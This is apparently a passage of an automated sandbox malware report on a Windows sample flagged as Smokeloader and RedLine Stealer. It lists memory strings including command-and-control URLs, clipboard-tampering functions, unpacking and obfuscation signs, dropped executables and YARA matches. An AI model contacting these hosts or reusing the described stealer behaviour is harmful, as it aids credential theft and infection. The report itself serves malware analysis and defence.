Source: A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E87000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.177/edd20096ecef326d.phpJ
Source: A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E6A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.177/edd20096ecef326d.phpL
Source: A8A9.tmp.exe, 00000001.00000002.2054517436.0000000002E87000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.177/edd20096ecef326d.phpb
Source: A8A9.tmp.exe, 00000001.00000002.2054458680.0000000002DFE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://62.204.41.177S
Source: Amcache.hve.4.dr String found in binary or memory: http://upx.sf.net
Source: jicQJ2cdlM.exe, 00000000.00000003.4048093961.0000000000878000.00000004.00000020.00020000.00000000.sdmp, jicQJ2cdlM.exe, 00000000.00000002.4174618385.0000000000878000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://post-to-me.com/
Source: jicQJ2cdlM.exe String found in binary or memory: https://post-to-me.com/track_prt.php?sub=
Source: jicQJ2cdlM.exe, 00000000.00000002.4174326271.0000000000400000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: https://post-to-me.com/track_prt.php?sub=&cc=DE
Source: jicQJ2cdlM.exe, 00000000.00000003.4048093961.0000000000878000.00000004.00000020.00020000.00000000.sdmp, jicQJ2cdlM.exe, 00000000.00000002.4174618385.0000000000878000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://post-to-me.com/track_prt.php?sub=0&cc=DE
Source: jicQJ2cdlM.exe, 00000000.00000003.4048093961.0000000000878000.00000004.00000020.00020000.00000000.sdmp, jicQJ2cdlM.exe, 00000000.00000002.4174618385.0000000000878000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://post-to-me.com/track_prt.php?sub=0&cc=DET
Source: jicQJ2cdlM.exe, 00000000.00000003.4048093961.0000000000878000.00000004.00000020.00020000.00000000.sdmp, jicQJ2cdlM.exe, 00000000.00000002.4174618385.0000000000878000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://post-to-me.com/v
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown HTTPS traffic detected: 104.21.56.70:443 -> 192.168.2.4:49730 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_004016E3 __ehhandler$___std_fs_get_file_id@8,__EH_prolog3_GS,Sleep,GlobalLock,OpenClipboard,GetClipboardData,GlobalLock,_strlen,_strlen,_strlen,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,Sleep, 0_2_004016E3
Contains functionality to modify clipboard data
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_004016E3 __ehhandler$___std_fs_get_file_id@8,__EH_prolog3_GS,Sleep,GlobalLock,OpenClipboard,GetClipboardData,GlobalLock,_strlen,_strlen,_strlen,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,Sleep, 0_2_004016E3
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009E1947 __EH_prolog3_GS,Sleep,OpenClipboard,GetClipboardData,_strlen,_strlen,_strlen,EmptyClipboard,GlobalAlloc,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,Sleep, 0_2_009E1947
Contains functionality to read the clipboard data
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_004016E3 __ehhandler$___std_fs_get_file_id@8,__EH_prolog3_GS,Sleep,GlobalLock,OpenClipboard,GetClipboardData,GlobalLock,_strlen,_strlen,_strlen,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,Sleep, 0_2_004016E3

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 00000001.00000002.2054417626.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.4174565055.00000000007F9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000001.00000002.2054499794.0000000002E09000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.4174782860.00000000009E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Contains functionality to call native functions
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009E237D NtdllDefWindowProc_W,GetClientRect,GetDC,CreateSolidBrush,CreatePen,Rectangle,GetDeviceCaps,MulDiv,CreateFontW,SetBkMode,_wcslen,_wcslen,_wcslen,_wcslen,ReleaseDC, 0_2_009E237D
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009E2621 NtdllDefWindowProc_W,PostQuitMessage, 0_2_009E2621
Detected potential crypto function
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00428042 0_2_00428042
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_004071D0 0_2_004071D0
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_004373F9 0_2_004373F9
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_004274A4 0_2_004274A4
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0042D50E 0_2_0042D50E
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00428580 0_2_00428580
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_004166CF 0_2_004166CF
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00413745 0_2_00413745
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00427816 0_2_00427816
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0040E999 0_2_0040E999
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00427AC0 0_2_00427AC0
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00418ACF 0_2_00418ACF
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0042EB00 0_2_0042EB00
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00436CDF 0_2_00436CDF
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00427D87 0_2_00427D87
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00413F2B 0_2_00413F2B
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_007F91A4 0_2_007F91A4
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009F4192 0_2_009F4192
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A0ED67 0_2_00A0ED67
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A082A9 0_2_00A082A9
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A087E7 0_2_00A087E7
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A0770B 0_2_00A0770B
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A0D775 0_2_00A0D775
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009F39AC 0_2_009F39AC
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009F6936 0_2_009F6936
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A07A7D 0_2_00A07A7D
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009EEC00 0_2_009EEC00
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A07D27 0_2_00A07D27
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009F8D36 0_2_009F8D36
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A0ED67 0_2_00A0ED67
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A07FEE 0_2_00A07FEE
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A16F46 0_2_00A16F46
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: String function: 004045C0 appears 317 times
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: String function: 009F09A7 appears 52 times
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: String function: 00410740 appears 52 times
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: String function: 0040F928 appears 36 times
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: String function: 0040FDD7 appears 123 times
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: String function: 009F003E appears 119 times
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7404 -s 1132
Sample file is different than original file name gathered from version info
Source: jicQJ2cdlM.exe Binary or memory string: OriginalFileName vs jicQJ2cdlM.exe
Source: jicQJ2cdlM.exe, 00000000.00000002.4174326271.0000000000400000.00000040.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFileNameScreenshoter.exeF vs jicQJ2cdlM.exe
Source: jicQJ2cdlM.exe, 00000000.00000003.1746264050.0000000000A50000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFileNameScreenshoter.exeF vs jicQJ2cdlM.exe
Source: jicQJ2cdlM.exe, 00000000.00000002.4174782860.00000000009E0000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: OriginalFileNameScreenshoter.exeF vs jicQJ2cdlM.exe
Uses 32bit PE files
Source: jicQJ2cdlM.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 00000001.00000002.2054417626.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.4174565055.00000000007F9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000001.00000002.2054499794.0000000002E09000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.4174782860.00000000009E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: jicQJ2cdlM.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: ScreenUpdateSync[1].exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: A8A9.tmp.exe.0.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: classification engine Classification label: mal100.troj.evad.winEXE@4/7@1/3
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_007FA24E CreateToolhelp32Snapshot,Module32First, 0_2_007FA24E
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn, 1_2_00413720
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\track_prt[1].htm Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Mutant created: \Sessions\1\BaseNamedObjects\48rt8k8rt4rwe5rb
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7404
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe File created: C:\Users\user\AppData\Local\Temp\A8A9.tmp Jump to behavior
Source: jicQJ2cdlM.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: jicQJ2cdlM.exe ReversingLabs: Detection: 31%
Source: unknown Process created: C:\Users\user\Desktop\jicQJ2cdlM.exe "C:\Users\user\Desktop\jicQJ2cdlM.exe"
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Process created: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe "C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe"
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7404 -s 1132
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Process created: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe "C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe" Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: msvcr100.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Unpacked PE file: 1.2.A8A9.tmp.exe.400000.1.unpack .text:ER;.rdata:R;.data:W;.weririt:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Unpacked PE file: 0.2.jicQJ2cdlM.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Unpacked PE file: 1.2.A8A9.tmp.exe.400000.1.unpack
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0041EC7E LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_0041EC7E
PE file contains sections with non-standard names
Source: ScreenUpdateSync[1].exe.0.dr Static PE information: section name: .weririt
Source: A8A9.tmp.exe.0.dr Static PE information: section name: .weririt
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00410786 push ecx; ret 0_2_00410799
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0043DB97 push dword ptr [esp+ecx-75h]; iretd 0_2_0043DB9B
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0040FDB1 push ecx; ret 0_2_0040FDC4
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_007FB09B push es; iretd 0_2_007FB0AC
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_007FF46F pushad ; ret 0_2_007FF48B
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_007FB576 push E8665AC8h; iretd 0_2_007FB57B
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_007FF5ED push ecx; ret 0_2_007FF60A
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_007FDB31 push FFFFFFADh; ret 0_2_007FDBA3
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_007FCE64 push 00000003h; ret 0_2_007FCE68
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009F0018 push ecx; ret 0_2_009F002B
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A179BF push esp; retf 0_2_00A179C7
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_009F09ED push ecx; ret 0_2_009F0A00
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A19E08 pushad ; retf 0_2_00A19E0F
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A17FBD push esp; retf 0_2_00A17FBE
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0041B035 push ecx; ret 1_2_0041B048
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_0040020D pushfd ; iretd 1_2_00400211
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D2B29C push ecx; ret 1_2_02D2B2AF
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02D10F59 pushfd ; iretd 1_2_02D11078
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02E0B7EB push 7DD07DC0h; iretd 1_2_02E0B7FC
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02E0E7CA push eax; ret 1_2_02E0E7D9
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02E0E7BB push eax; ret 1_2_02E0E7D9
Source: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Code function: 1_2_02E0ACE5 pushfd ; iretd 1_2_02E0ACE8
Source: jicQJ2cdlM.exe Static PE information: section name: .text entropy: 7.652676977218571
Source: ScreenUpdateSync[1].exe.0.dr Static PE information: section name: .text entropy: 7.4826108141905285
Source: A8A9.tmp.exe.0.dr Static PE information: section name: .text entropy: 7.4826108141905285
Drops PE files
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe File created: C:\Users\user\AppData\Local\Temp\A8A9.tmp.exe Jump to dropped file
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ScreenUpdateSync[1].exe Jump to dropped file
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_0040E999 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_0040E999
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
